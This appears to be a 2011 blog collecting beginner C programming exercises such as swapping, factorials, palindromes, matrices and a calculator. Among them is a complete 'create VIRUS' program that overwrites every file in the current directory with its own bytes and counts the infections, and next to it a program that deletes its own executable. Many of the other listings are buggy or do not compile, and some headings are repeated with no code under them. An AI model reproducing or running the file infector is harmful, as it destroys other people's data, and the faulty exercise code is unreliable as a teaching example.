Wednesday, December 7, 2011

Write a Cprogram without semicolon III

#include<stdio.h>
void main(){
    switch(printf("Hello world")){
    }
}

Write a C Program without semicolon II

#include<stdio.h>
void main(){
    while(!printf("Hello world")){
    }
}

Write a C Program to print a string without use semicolon I

#include <stdio.h>
#include <conio.h>
void main()
{
 if(printf("Hello"))
}

Write a C program to create VIRUS

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

Write a C program to destruc self execution file

#include<stdio.h>
#include<conio.h>
#include<dos.h>
void main()
{
printf("This program will destroy itself if u press any key!!!\n");
getch();
remove(_argv[0]);/*array of pointers to command line arguments*/
}

Write a C program to remove single space or line

#include<stdio.h>
#include<conio.h>
#include<process.h>
#include<dos.h>
void main()
{
FILE *a,*b;
char fname[20],ch,tch=NULL,tch1=NULL;
int flag1=0,flag=0,count=0,count1=0,count2=0;
clrscr();
printf(“Enter the file name (.C or .TXT)\n”);
gets(fname);
a=fopen(fname,”r”);
if(a==NULL)
{
puts(“Cannot open the source file!!!”);
delay(500);
exit(1);
}
b=fopen(“target.c”,”w”);
if(b==NULL)
{
puts(“Cannot create target file!!!”);
delay(500);
exit(1);
}
while(1)
{
ch=fgetc(a);
if(ch==EOF) break;
else
{
if(ch==’\n’)
{
count1=1;
tch1=ch;
continue;
}
else if(ch==’\n’&& count1==1)
continue;
else if(ch==’/'&&count==0)
{
flag1=1;
tch=ch;
count=1;
continue;
}
else if(ch==’*'&& flag1==1)
{
flag=1;
flag1=0;
tch=NULL;
}
else if(ch==’*'&&flag==1)
{
count2=1;
count=1;
continue;
}
else if(ch==’/'&&count2==1)
{
flag=0;
count=0;
tch=NULL;
continue;
}
else if(count==1&&flag==1)
count=0;
else if(flag1==1)
flag1=0;
}
if(flag!=1)
{
if(tch>0)
fputc(tch,b);
if(tch1>0)
fputc(tch1,b);
tch1=NULL;
tch=NULL;
count=0,count1=0,count2=0;
fputc(ch,b);
flag1=0,flag=0;
}
}
puts(“DONE!! OP FILE IS \”TARGET.C\”\n”);
fcloseall();
getch();
}

Write a C program to find random number II

#include<stdio.h>
#include <stdlib.h>
#include <time.h>

int main(void)
{
int i;
time_t t;
srand((unsigned) time(&t));
printf(“Ten random numbers from 0 to 99\n\n”);
for(i=0; i<10;i++)
printf(“%d\n”,rand()%100);
}

Write a C Program to take random number I

#include<stdio.h>
#include<stdlib.h>
#include<time.h>
/* prints a random number in the range 0 to 99 */
int main(void)
{
randomize();
printf(“Random number in the 0-99 range: %d\n”, random (100));
return 0;
}

Write a C program to print without function

#include<stdio.h>
#include<conio.h>
char str[]=”Hello Srikanth”;
char far *v=(char far *)0xb8000000;
void main()
{
int i;
for(i=0;i<14;i++)
{
*v=str[i];
v+=2;
}
getch();
}

Write a C Program to create a GAME

#include<stdio.h>
#include<stdlib.h>
#include<time.h>

void main()
{
int num,guess=-1,tries=0,pass=0;
time_t t;
srand((unsigned)time(&t));
num=rand()%100;
while((guess!=num)&&tries<8)
{
printf(“Enter the guess num b/w 0 & 100 (you have %d tries left out)\n”,(8-tries)); scanf(“%d”,&guess);
tries++;
if(guess==num)
{
printf(“Hurray you guessed it correctly!!!\n”);
pass=1;
}
else if(num< guess)
printf(“Your guess is too high\n”);
else
printf(“Your guess is too low\n”);
}
if(pass==0)
printf(“Sorry you lost! The correct number is %d\n”,num);
}

Write a C Program without main function

#include<stdio.h>
#define decode(s,t,u,m,p,e,d) m##s##u##t
#define begin decode(a,n,i,m,a,t,e)

int begin()
{
 printf(" hello ");
 return 0;
}

Write a C program to accept password

#include<stdio.h>
#include<conio.h>

char pw[25],ch;
int i;
void main()
{
clrscr();
puts(“Enter password”);
while(1)
{
if(i<0)
i=0;
ch=getch();
if(ch==13)
break; /*13 is ASCII value of ENTER*/
if(ch==8) /*ASCII value of BACKSPACE*/
{
putch(‘\b’);
putch(NULL);
putch(‘\b’);
–i;
continue;
}
pw[i++]=ch;
ch=’*';
putch(ch);
}
pw[i]=’\0';
printf(“\n\n%s”,pw);
getch();
}

Write a C program to find palindrome number

#include <stdio.h>
#include <conio.h>
void main()
{
 int n,r,reverse=0,a;
 clrscr();
 printf("Enter any Number: ");
 scanf("%d",&n);
 a=n;
 while(n)
 {
  r=n%10;
  reverse=reverse*10+r;
  n=n/10;
 }
 if(a==reverse)
  printf("%d is palindrome",a);
 else
  printf("%d is not palindrome",a);
 getch();
}

Write a C Program to find reverse of Digits

#include <stdio.h>
#include <conio.h>
void main()
{
 int n,r,reverse=0;
 clrscr();
 printf("Enter any Number: ");
 scanf("%d",&n);
 while(n)
 {
  r=n%10;
  reverse=reverse*10+r;
  n=n/10;
 }
 printf("Reverse= %d",reverse);
 getch();
}

Tuesday, December 6, 2011

Write a C Program to swapping without third variable II

#include <stdio.h>
#include <conio.h>
void main()
{
 int a,b;
 clrscr();
 printf("Enter value for a and b: ");
 scanf("%d %d",&a,&b);
 printf("\nAfter swapping\na and b: %d %d",b,a);
 getch();
}

Write a C Program to swapping without third variable

#include <stdio.h>
#include <conio.h>
void main()
{
 int a,b;
 clrscr();
 printf("Enter value for a and b: ");
 scanf("%d %d",&a,&b);
 a=a+b;
 b=a-b;
 a=a-b;
 printf("\nAfter swapping a and b: %d %d",a,b);
 getch();
}

Write a C Program to swapping by using third variablr

#include <stdio.h>
#include <conio.h>
void main()
{
 int a,b,c;
 clrscr();
 printf("Enter Value for a and b: ");
 scanf("%d %d",&a,&b);
 c=a;
 a=b;
 b=c;
 printf("\nAfter swapping\na and b is: %d %d",a,b);
 getch();
}

Write a C Program to calculate TT and Recharge Amount

#include <stdio.h>
#include <conio.h>
void main()
{
 int ch;
 float a,d,b,c,e,f;
 clrscr();
 printf("\t\t\tCalculate Talktime and Recharge amount\nBeing 9.3% tax of TRAI for telecom service provider you can calculate Your talktime amd recharge amount");
 printf("\n1. For Conversation Recharge Amount to talk time\n2. For Conversation Talktime to recharge amount");
 printf("\n\nPlease Enter your choice: ");
 scanf("%d",&ch);
 switch(ch)
 {
  case 1:
  {
   printf("\nYou chosing opt. %d and your opt. is conversation Recharge Amt. to TT\nPlease Enter for calculation",ch);
   getch();
   clrscr();
   printf("\nPlease enter your recharge amount:  ");
   scanf("%f",&a);
   printf("\nPlease Enter processing fee: ");
   scanf("%f",&b);
   printf("\nPlease Enter extra charge: ");
   scanf("%f",&c);
   d=a*0.093;
   e=a-d;
   f=e-b-c;
   printf("\nYour Entered amount is: %.f\n\nYour processing fee is %.f\n\nService Tax= %.2f\n\nYour total talk time(deduction of your service tax only)= %.2f\n\nTotal Talk Time(Deduction of all tax)= %.2f Rupees",a,b,d,e,f);
   break;
  }
  case 2:
  {
   printf("\n You chosing opt. %d and your opt. is conversation TT to Rec. Amt.\nPlease Enter for calculation",ch);
   getch();
   clrscr();
   printf("\nEnter your Talktime: ");
   scanf("%f",&a);
   printf("\nPlease enter Procesing fee: ");
   scanf("%f",&b);
   printf("\nPlease enter all taxes: ");
   scanf("%f",&c);
   d=b+c;
   e=a+d;
   f=(e/(1-0.093));
   printf("\nYour Talk Time(included of all taxes): %.2f\n\nFor getting your given Talk Time you must rechage equal or above= %.f Rupees",a,f);
   break;
  }
  default:
  {
   printf("\nInvalid Choice!!");
  }
 }
 getch();
}

Write a C Program to Calculate Electricity Bill with if-else condition <=100 Rs.4/units > 100 and <=300 Rs.4.50/units >300 and <=500 Rs.4.75/units >500 Rs.5/units

#include<stdio.h>
#include<conio.h>
void main()
{
int units;
float total_bill;
clrscr();
printf("Enter the no. of units");
scanf("%d",&units);
if(units <= 100)
total_bill = units * 4;
else if(units <= 300)
total_bill = units * 4.5;
else if(units <= 500)
total_bill = units * 4.75;
else
total_bill = units * 5;
printf("the bill to be paid is = %f", total_bill);
getch();
}

Write a C Program to find Factorial of Number Using While Loop

#include <stdio.h>
#include <conio.h>

void main()
{    int i=1,n,fact=1;
    clrscr();
    printf("enter a number");
    scanf("%d",&n);
    while(i<=n)
    {    fact=fact*i;
        printf("%d",i);
        i++;
    }
    printf("fact=%d",fact);
    getch();
}

Write a C Program to Multiplication of two matrices

#include <stdio.h>
#include <conio.h>

int m1,n1,m2,n2,i,j,k,z[10][10]={0};

void value_sub(int a,int b,int arr[][10] )
{    for(i=0;i<a;i++)
    {    for(j=0;j<b;j++)
        {    printf(“Mat[%d%d] = “,i+1,j+1);
            scanf(“%d”,&arr[i][j]);
            fflush(stdin);
        }
        printf(“”);
    }
}

void mat_mul(int a,int b,int arr[][10],int brr[][10])
{    int k=0;
    for(i=0;i<a;i++)
    {    for(j=0;j<b;j++)
        {    for(k=0;k<a;k++)
            {    z[i][j]+=arr[i][k]*brr[k][j];
                printf(“%d\t”,z[i][j]);
            }
            printf(“\n\n”);
        }
    }
}

int main()
{    int A[10][10]={0},B[10][10]={0};
    printf(“Enter the column and row of first matrix(m x n)\n”);
    scanf(“%d%d”,&m1,&n1);
    printf(“Enter the column and row of second matrix(m x n)\n”);
    scanf(“%d%d”,&m2,&n2);
    printf(“\n\n”);
    if (n1==m2)
    {    value_sub(m1,n1,A);
        printf(“\n\n”);
        value_sub(m2,n2,B);
        printf(“\n\n”);
        mat_mul(m1,n2,A,B);
    }
    else
        printf(“Matrix multiplication cannot be done”);
    getch();
}

Write a C Program to Convert Celcius to Fahrenheit temparature

#include<stdio.h>
#include<conio.h>

void main ()
{    float c,f;
    clrscr ();
    printf ("Enter the value of celcius: ");
    scanf ("%f",&c);
    f=(float) 9/5*c+32;
    printf ("\nFahrenheit is %.2f",f);
    getch ();
}

Write C programs that use both recursive and non-recursive functions To find the GCD (greatest common divisor) of two given integers

include<stdio.h>
#include<conio.h>
#include<math.h>

unsigned int GcdRecursive(unsigned m, unsigned n);
unsigned int GcdNonRecursive(unsigned p,unsigned q);

int main(void)
{    int a,b,iGcd;
    clrscr();
    printf(“Enter the two numbers whose GCD is to be found: “);
    scanf(“%d%d”,&a,&b);
    printf(“GCD of %d and %d Using Recursive Function is %d\n”,a,b,GcdRecursive(a,b));
    printf(“GCD of %d and %d Using Non-Recursive Function is %d\n”,a,b,GcdNonRecursive(a,b));
    getch();
}

/* Recursive Function*/

unsigned int GcdRecursive(unsigned m, unsigned n)
{    if(n>m)
        return GcdRecursive(n,m);
    if(n==0)
        return m;
    else
        return GcdRecursive(n,m%n);
}

/* Non-Recursive Function*/

unsigned int GcdNonRecursive(unsigned p,unsigned q)
{    unsigned remainder;
    remainder = p-(p/q*q);
    if(remainder==0)
        return q;
    else
        GcdRecursive(q,remainder);
}

Write a C Program to find the length of any string without library function

#include<stdio.h>
#include<conio.h>

void main ()
{    char ch[20];
    int l;
    clrscr();
    printf ("Enter String: ");
    gets(ch);
    for(l=0;ch[l]!='\0';l++);
    printf ("Length of string is %d",l);
    getch();
}

Write a C Program to find result where value and power are user given (Power Calculation) by recursive function

#include <stdio.h>
#include <conio.h>
int powercalc(int,int);
void main()
{
 int n,p;
 clrscr();
 printf("Enter Number and Power: ");
 scanf("%d %d",&n,&p);
 printf("Result %d",powercalc(n,p));
 getch();
}
int powercalc (int n,int p)
{
 if(p==0) return 1;
 if(p==1) return n;
 return n* powercalc(n,(p-1));
}

Write a C program to find Factorial value by recursive function

#include <stdio.h>
#include <conio.h>
int factorial(int);
void main()
{
 int n;
 clrscr();
 printf("Enter Number: ");
 scanf("%d",&n);
 printf("Factorial of %d is %d",n,factorial(n));
 getch();
}
int factorial (int m)
{
 if(m==0||m==1) return 1;
 return m*factorial(m-1);
 }

Write a C Program to create FIBBONACCI SERIES

#include <stdio.h>
#include <conio.h>
void main()
{
 int a,b,c,i,n;
 clrscr();
 a=0;
 b=1;
 printf("\n Enter Limit of Series: ");
 scanf("%d",&n);
 printf("\n FIBONACCI SERIES\n");
 printf("\t%d\t%d",a,b);
for(i=0;i<n;i++)
{
     c=a+b;
     a=b;
     b=c;
     printf("\t%d",c);
 }
 getch();
}

Write a C Program to create FIBBONACCI SERIES using RECURSION FUNCTION

#include <stdio.h>
#include <conio.h>
int y;
fib(int n)
 { if(n==1 || n==0)
    return n;
   y=fib(n-1)+fib(n-2);
    return y;
 }
int main()
 { int a,r;
   clrscr();
   printf("Enter any number : ");
   scanf("%d",&a);
   r=fib(a);
   printf("The no. at position %d is %d",a,r);
   getch();
   return 0;
 }

Write a C Program to count total number of vowel of a string

/*---------------------------------------------------------------------------
    PROGRAM TO COUNT THE NUMBER OF VOWELS IN A GIVEN STRING
        Program by http://electrofriends.com
   Copyrights (c) 2005-2007 electrofriends.com, All rights reserved.
---------------------------------------------------------------------------*/
#include<stdio.h>
#include<conio.h>
void main()
{
    char str[50];
    int vowels = 0, i = 0;
    clrscr();
    printf("\n--------------------------------------------------------");
    printf("\n\nPROGRAM TO COUNT THE NUMBER OF VOWELS IN A GIVEN STRING");
    printf("\n\n--------------------------------------------------------");
    printf("\n\n\t ENTER A STRING...: ");
    gets(str);
    while(str[i] != '\0')
    {
        if(str[i]=='A'||str[i]=='a'||str[i]=='E'||str[i]=='e'||
           str[i]=='I'||str[i]=='i'||str[i]=='O'||str[i]=='o'||
           str[i]=='U'||str[i]=='u')
            vowels++;
        i++;
    }
    printf("\n\n\t THE TOTAL NUMBER OF VOWELS IS...: %d", vowels);
    printf("\n\n-------------------------------------------------------");
    getch();
}

Write a C Program to find Vowel of given string (If - else)

#include <stdio.h>
#include <conio.h>

void main()
{
      char ch;

      printf("Enter a character\n");
      scanf("%c",&ch);

      if ( ch == 'a' || ch == 'A' || ch == 'e' || ch == 'E' || ch == 'i' || ch == 'I' || ch =='o' || ch=='O' || ch == 'u' || ch == 'U')
     printf("%c is a vowel.\n", ch);
      else
      printf("%c is not a vowel.\n", ch);
      getch();
}

Write a C Program to find Vowel of given string (switch - case)

#include <stdio.h>
#include <conio.h>
void main()
{
   char ch;
   clrscr();
   printf("Enter a character\n");
   scanf("%c",&ch);

   switch(ch)
   {
      case 'a':
      case 'A':
      case 'e':
      case 'E':
      case 'i':
      case 'I':
      case 'o':
      case 'O':
      case 'u':
      case 'U':
        printf("%c is a vowel.\n", ch);
        break;
      default:
        printf("%c is not a vowel.\n", ch);
   }

   getch();
}

Write a C Program to possibility of triangular where all sides are user given

#include <stdio.h>
#include <conio.h>
void main()
{
 int a,b,c,max=0,sum=0;
 clrscr();
 printf("Enter Value for Three Sides: ");
 scanf("%d %d %d",&a,&b,&c);
 if(a>b)
 {
  if(a>c)
  {
   max=a;
  }
  else
  {
   max=c;
  }
 }
 else
 {
  if(b>c)
  {
   max=b;
  }
  else
  {
   max=c;
  }
 }
 sum=a+b+c-max;
 if(sum>max)
 {
  printf("\nTriangular is possible");
 }
 else
 {
  printf("\nTriangular is not possible");
 }
 getch();
}


Write a C Program to find sum of digit

#include<stdio.h>
#include<conio.h>

void main()
{
unsigned long int num;
int i=0;
clrscr();
printf(“Enter the digit\n”);
scanf(“%lu”,&num);
while(num!=0)
{
num=num/10;
++i;
}
printf(“Length=%d”,i);
getch();
}

Write a C Program to find sum of digit


Write a C Program to find sum of digit


Write a C Program to find string length and find charecter position

#include <stdio.h>
#include <conio.h>
#include <string.h>
void main()
{
 char a[25],e;
 int b,d,c;
 clrscr();
 printf("Enter A string: ");
 gets(a);
 b=strlen(a);
 printf("The length of your entered string is %d",b);
 printf("\nIf you check position of charecters press:1:: ");
 scanf("%d",&c);
 if(c==1)
 {
  printf("\nplease enter your charecter position (Charecter Position started form 0): ");
  scanf("%d",&d);
  printf("The charecter of your string position is %c",a[d]);
 }
 getch();
}

Write a C Program to design series II

/*IF number is3
1
121
12321*/

#include <stdio.h>
#include <conio.h>
void main()
{
 int n,i,j,k;
 clrscr();
 printf("Enter Number: ");
 scanf("%d",&n);
 for(i=0;i<=n;i++)
 {
  for(j=1;j<=i;j++)
  {
   printf("%d\t",j);
   k=i-1;
   if(k>0)
   {
    if(j>k)
    {
     printf("%d\t",k);
     break;
    }
   }
  }
  printf("\n");
 }
 getch();
}

Write a C program to find prime number and number is not prime then find factors (PRIME FACTORS) II

#include <stdio.h>
#include <conio.h>
void main()
{
 int flag=0,i,n,r,a[100],b=0,s;
 clrscr();
 printf("\n Enter Number: ");
 scanf("%d",&n);
 for(i=2;i<=n/2;i++)
 {
  r=n%i;
  if(r==0)
  {
   flag=s;
   a[b]=i;
   b++;
  }
 }
 if(flag==s)
 {
  printf(" So The Number %d is not prime",n);
  printf("\n The factors are: ");
  for(i=0;i<b;i++)
  {
   printf("%d ",a[i]);
  }
 }
 else
 {
  printf("\n So The Number %d is prime",n);
 }
 getch();
}

Write a C Program to find result where value and power are user given (Power Calculation)

#include <stdio.h>
#include <conio.h>
void main()
{
 int a,p,n,r;
 clrscr();
 printf("Enter Number: ");
 scanf("%d",&n);
 printf("\nEnter Power: ");
 scanf("%d",&p);
 for(a=p;a!=0;a--)
 {
  r=n*n;
 }
 printf("%d",r);
 getch();
}

Write a C Program to find value of x by Prithagoras Theoren (Complex Number)

#include <stdio.h>
#include <conio.h>
#include <math.h>
void main()
{
 int a,b,c,i,n,j;
 float r,x1,d,x2,e,f,x;
 clrscr();
 printf("Enter Value for a, b and c: ");
 scanf("%d %d %d",&a,&b,&c);
 f=(b/(2*a));
 r=(b*b)-(4*a*c);
 if(r>0)
 {
  d=sqrt(r);
  x=d/(2*a);
  x1=-f+x;
  x2=-f-x;
  printf("x=%.2f, %.2f",x1,x2);
 }
 else
 {
  e=-r;
  d=sqrt(e);
  x=e/(2*a);
  printf("x=(%.2f-i%.2f), (%.2f+i%.2f)",f,x,f,x);
 }
 getch();
}

Write a C program to check given string is palindrome or not

#include <stdio.h>
#include <conio.h>
#include <string.h>
void main()
{
 char a[10],b[10];
 clrscr();
 printf("\nEnter a string: ");
 gets(a);
 strcpy(b,a);
 strrev(b);
 if(strcmp(a,b)==0)
 {
  printf("%s is palindrom",a);
 }
 else
 {
  printf("%s is not palindrom",a);
 }
 getch();
}

Write a C program to check given string is palindrome or not

#include <stdio.h>
#include <conio.h>
#include <string.h>
void main()
{
 char a[10],b[10];
 clrscr();
 printf("\nEnter a string: ");
 gets(a);
 strcpy(b,a);
 strrev(b);
 if(strcmp(a,b)==0)
 {
  printf("%s is palindrom",a);
 }
 else
 {
  printf("%s is not palindrom",a);
 }
 getch();
}

Write a C Program to convert a Decimal number to Octal Number II

#include <stdio.h>
#include <conio.h>
void main()
{
 int a,no[100],i,c,n=0;
 clrscr();
 printf("\nEnter Decimal Number: ");
 scanf("%d",&a);
 for(i=0;a!=0;++i)
 {
  c=a%8;
  no[i]=c;
  a=a/8;
  ++n;
 }
 printf("\nThe Octal equivalant of decimal number is: ");
 for(i=n-1;i>=0;--i)
 {
  printf("%d",no[i]);
 }
 getch();
}

Write a C Program to Create number pyramid II

#include<stdio.h>
#include<conio.h>
void main()
{
int i,n,j,x=40,y=10;
clrscr();
printf("Enter n (between 2 & 9)\n");
scanf("%d",&n);
for(i=1;i<=n;i++)
{
gotoxy(x,y); /* To take the cursor to the co-ordinates x & y */
for(j=1;j<=i;j++)
{
 printf("%d ",i);
}
x=x-1;
y++;
}
getch();
}

Write a C Program to design number pyramid of user given limit

#include <stdio.h>
#include <conio.h>
void main()
{
 int n,i,j,k,l;
 clrscr();
 printf("Enter Number: ");
 scanf("%d",&n);
 for(i=0;i<=n;i++)
 {
  for(j=1;j<=i;j++)
  {
   printf("%d\t",j);
   k=i-1;
   if(j>k)

     for(l=k;k>0;l--)
      if(l>0)

       printf("%d\t",l);

      else

       break;


  }
  printf("\n");
 }
 getch();
}

Write a C Program to find maximum value of three numer

#include <stdio.h>
#include <conio.h>
void main()
{
 int a,b,c;
 clrscr();
 printf("Enter three value: ");
 scanf("%d %d %d",&a,&b,&c);
 if(a>b)
  if(a>c)
   printf("\nMaximum= %d",a);
  else
   printf("\nMaximum =%d",c);
 else
  if(b>c)
   printf("\nMaximum= %d",b);
  else
   printf("\nMaximum= %d",c);
 getch();
}

Write a C Program to find maximum value of three numer


Write a C Program to find maximum value of three numer


Write a C Program to convert a Decimal number to Octal Number

#include <stdio.h>
#include <conio.h>
void main()
{
 int a,no[100],i,c,n=0;
 clrscr();
 printf("\nEnter Decimal Number: ");
 scanf("%d",&a);
 if(a>0)
 {
 for(i=0;a!=0;++i)
 {
  c=a%2;
  no[i]=c;
  a=a/2;
  ++n;
 }

 for(i=n-1;i>=0;--i)
 {
  printf("%d",no[i]);
 }
 }
 else
 {
  printf("\nInvalid Value);
 }
 getch();
}

Write a Cprogram to "Addition of matrix row and column are user given"

#include<stdio.h>
#include<conio.h>

void main()
{
   int m, n, c, d, first[10][10], second[10][10], sum[10][10];
   clrscr();

   printf("Enter the number of rows and columns of matrix ");
   scanf("%d%d",&m,&n);
   printf("Enter the elements of first matrix\n");

   for ( c = 0 ; c < m ; c++ )
      for ( d = 0 ; d < n ; d++ )
         scanf("%d",&first[c][d]);

   printf("Enter the elements of second matrix\n");

   for ( c = 0 ; c < m ; c++ )
      for ( d = 0 ; d < n ; d++ )
            scanf("%d",&second[c][d]);

   for ( c = 0 ; c < m ; c++ )
      for ( d = 0 ; d < n ; d++ )
         sum[c][d] = first[c][d]+ second[c][d];

   printf("Sum of entered matrices:-\n");

   for ( c = 0 ; c < m ; c++ )
   {
      for ( d = 0 ; d < n ; d++ )
         printf("%d\t",sum[c][d]);

      printf("\n");
   }

   getch();
}

Write a C Program to swapping value until user stop

#include <stdio.h>
#include <conio.h>
void main()
{
 int i,a,b;
 char s[10];
 clrscr();
 for(i=0;;i++)
 {
  printf("A= ");
  scanf("%d",&a);
  printf("B= ");
  scanf("%d",b);
  if(a==b)
  {
   printf("Try again with different value");
   printf("If you continue type Y other wise N: ");
   scanf("%s",&s);
   if(s=="y")
   {
    continue;
   }
   else
   {
    break;
   }
  }
  else
  {
   printf("\n\n\nAfter Swappint...\nA= %d\nB= %d",b,a);
   printf("If you continue type Y other wise N: ");
   scanf("%s",&s);
   if(s=="y")
   {
    continue;
   }
   else
   {
    break;
   }
  }
 }
 getch();
}

Write a C Program to find Factorial of all element of user given limit

#include <stdio.h>
#include <conio.h>
void main()
{
 int n,i,r,j,l;
 clrscr();
 printf("Enter Number of limit for calculating factorial: ");
 scanf("%d",&l);
 for(;l!=0;l--)
 {
  n=l;
  printf("\n!%d= ",n);
  switch(n)
  {
   case 1:
   {
    printf("1= ");
    r=1;
    break;
   }
   case 2:
   {
    printf("2*1= ");
    r=2;
    break;
   }
   default:
   {

    r=n*(n-1);
    for(j=n;j!=1;j--)
    {
     printf("%d*",j);
    }
    printf("1= ");
    for(i=n-2;i!=1;i--)
    {
     r=r*i;
    }
   }
  }
   printf("%d",r);
 }

 getch();
}

Write a C Program to fild string length without library function

#include <stdio.h>
#include <string.h>
void main()
{
 int c;
 char a[50];
 printf("Enter A String: ");
 gets(a);
 for(c=0;a[c]!='\0';c++);
 printf("\nYour entertd string is \"%s\" and its Length is \"%d\"",a,c);

}

Write a Cprogram to create a Employee data structure and save them into a file

#include <stdio.h>
#include <conio.h>
#include <string.h>
#include <stdlib.h>
int main()
{
 FILE *fp;
 char another='y';
 struct emp
 {
  char name[40];
  int age;
  float bs;
 };
 struct emp e;
 fp=fopen("EMPLOYEE.doc","w");
 if(fp==NULL)
 {
  puts("Cannot open file");
  exit(1);
 }
 while(another=='y')
 {
  printf("\nEnter Name: ");
  scanf("%s",&e.name);
  printf("Enter age: ");
  scanf("%d",&e.age);
  printf("Enter salary: ");
  scanf("%f",&e.bs);
  fprintf(fp,"%s\t%d\t%f\n",e.name,e.age,e.bs);
  printf("Add Another Record (y/n): ");
  fflush(stdin);
  another=getche();
 }
 fclose(fp);
 return 0;
}

Write a C Program to copy a file to another file

#include <stdio.h>
#include <conio.h>
void main()
{
  FILE *p,*q;
  char file1[20],file2[20],ch;
  clrscr();
  printf("\nEnter the source file name to be copied: ");
  gets(file1);
  p=fopen(file1,"r");
  if(p==NULL)
  {
      printf("cannot open %s",file1);
  }
  printf("\nEnter the destination file name:");
  gets(file2);
  q=fopen(file2,"w");
  if(q==NULL)
  {
      printf("cannot open %s",file2);
  }
  while((ch=getc(p))!=EOF)
      putc(ch,q);
  printf("\nCOMPLETED");
  fclose(p);
  fclose(q);
 getch();
}

Write a C Program to create a File and write some text line and read thisfile

#include <stdio.h>
#include <conio.h>
void main()
{
 FILE * fp;
 char s[800];
 clrscr();
 fp=fopen ("Salary.txt","w");
 if(fp==NULL)
 {
  puts("\nFile creating unsuccessful");
  exit(1);
 }
 printf("\nEnter a few line:\n ");
 while(strlen(gets(s))>0)
 {
  fputs(s,fp);
  fputs("\n",fp);
 }
 fp=fopen("NONAME00.C","r");
 if(fgetc(fp)==NULL)
 {
  return(EOF);
 }
 while(fgets(s,79,fp)!=NULL)
 {
  printf("%s",s);
 }
 fclose(fp);
 getch();
}

Write a C program to find Factorial value by switch - case

#include <stdio.h>
#include <conio.h>
void main()
{
 int n,i,r,j;
 clrscr();
 printf("Enter Number for calculating factorial: ");
 scanf("%d",&n);
 printf("!%d= ",n);
 switch(n)
 {
  case 0:
  {
   printf("0= ");
   r=0;
   break;
  }
  case 1:
  {
   printf("1= ");
   r=1;
   break;
  }
  default:
  {

   r=n*(n-1);
   for(j=n;j!=1;j--)
   {
    printf("%d*",j);
   }
   printf("1= ");
   for(i=n-2;i!=1;i--)
   {
    r=r*i;
   }
  }
 }
   printf("%d",r);

 getch();
}

Write a C program to create pyramid number of user given limit

#include<stdio.h>
#include<conio.h>
void main()
{
int i,n,j,x=40,y=10;
clrscr();
printf(“Enter n (between 2 & 9)\n”);
scanf(“%d”,&n);
for(i=1;i<=n;i++)
{
gotoxy(x,y); /* To take the cursor to the co-ordinates x & y */
for(j=1;j<=i;j++)
{
 printf(“%d “,i);
}
x=x-1;
y++;
}
getch();
}

Write a C Program to Create a student Data Structure

#include <stdio.h>
#include <conio.h>
#include <string.h>
#include <stdlib.h>
void main()
{
 char another='y';
 struct student
 {
  char name[40];
  int roll;
  float marks;
 };
 struct student e;
 clrscr();
 while(another=='y')
 {
  printf("\nEnter Name: ");
  scanf("%s",&e.name);
  printf("Enter Roll: ");
  scanf("%d",&e.roll);
  printf("Enter Marks: ");
  scanf("%f",&e.marks);
  printf("Add Another Record (y/n): ");
  fflush(stdin);
  another=getche();
 }
 getch();
}

Write a C program to copy a String to one variable to another variable by library function

#include <stdio.h>
#include <conio.h>
#include <string.h>
void main()
{
 char a[25],b[25];
 clrscr();
 printf("Please Enter A String: ");
 gets(a);
 strcpy(b,a);
 printf("Your Entered string \"%s\"\nAfter copying string is \"%s\"",a,b);
 getch();
}

Write a C program to find Root of X as equation ax^2+bx+c=0 where value of a,b,c given by User (Complex Number)

#include <stdio.h>
#include <conio.h>
#include <math.h>
void main()
{
 int a,b,c,x1,x2,d;
 clrscr();
 printf("Enter three value: ");
 scanf("%d %d %d",&a,&b,&c);
 d=sqrt((b*b)-(4*a*c));
 if(d>0)
 {
  x1=(-b+d)/(2*a);
  x2=(-b-d)/(2*a);
  printf("x= %d, %d",x1,x2);
 }
 else
 {
  printf("Your entered value is incorrect %d",d);
 }
 getch();
}

Write a C Program to example of CALL - BY - VALUE and CALL - BY - ADDRESS (REFERENCE)

#include <stdio.h>
#include <conio.h>
int "call-by-value"(int, int);
void "call-by-address"(int*,int*,int*,int*);
void main()
{
 int a=6,b=10,sum,mul;
 clrscr();
 printf("\n&a= %d\n&B= %d\n&SUM= %d\n&MUL= %d",&a,&b,&sum,&mul);
 sum= "call-by-value" (a,b);
 printf("\n\n%d+%d=%d",a,b,sum);
 printf("\nA= %d, B= %d",a,b);
 "call-by-address"(&a,&b,&sum,&mul);
 printf("\n After swapping:\nA= %d, B= %d,\nSUM =%d,\nMUL= %d",sum,mul,a,b);
}
int "call-by-value" (int x, int y)
{
 int z;
 x=65;
 z=x+y;
 return(z);
}
void "call-by-adderss" (int*m,int*n,int*q,int*r)
{
 int p;
 *m=65;
 p=*m;
 *m=*n;
 *n=*p;
 *q=*m+*n;
 *r=*m**n;
}

Write a C Program to create CALCULATOR by SWITCH - CASE Operation

#include <stdio.h>
#include <conio.h>
#include <math.h>
void main()
{
 int a,b,ch,d,e,i,n;
 float c;
 clrscr();
 printf("\tCalculator Made by SURAJIT SADHUKHAN\n\n\t\t\t\t+-*/%WELCOME%/*-+");
 printf("\n\t 1. Addition\n\t 2. Subtraction\n\t 3. Multiplication\n\t 4. Division\n\t 5. Reminder operation\n\t 6. Squre root\n\t 7. Power operation\n\t 8. Memory Operation.\n\tNow Enter Your Choice: ");
 scanf("%d",&ch);
 printf("\n\tEnter First Number\n\tfor addition, subtraction, multiplication , Division ,reminder operation and squreroot \n\t Number for power operation: ");
 scanf("%d",&a);
 printf("\n\tEnter second number for addition\n\tsubtraction, multiplication, division and reminder operation\n\tpower: ");
 scanf("%d",&b);
 printf("\n\tEntered Choice No=%d",ch);
 switch (ch)
 {
  case 1:
  {
  d=(a+b);
  printf("\n\t Your choice is Addition \n\t your result is: %d",d);
  break;
  }
  case 2:
  {
   d=(a-b);
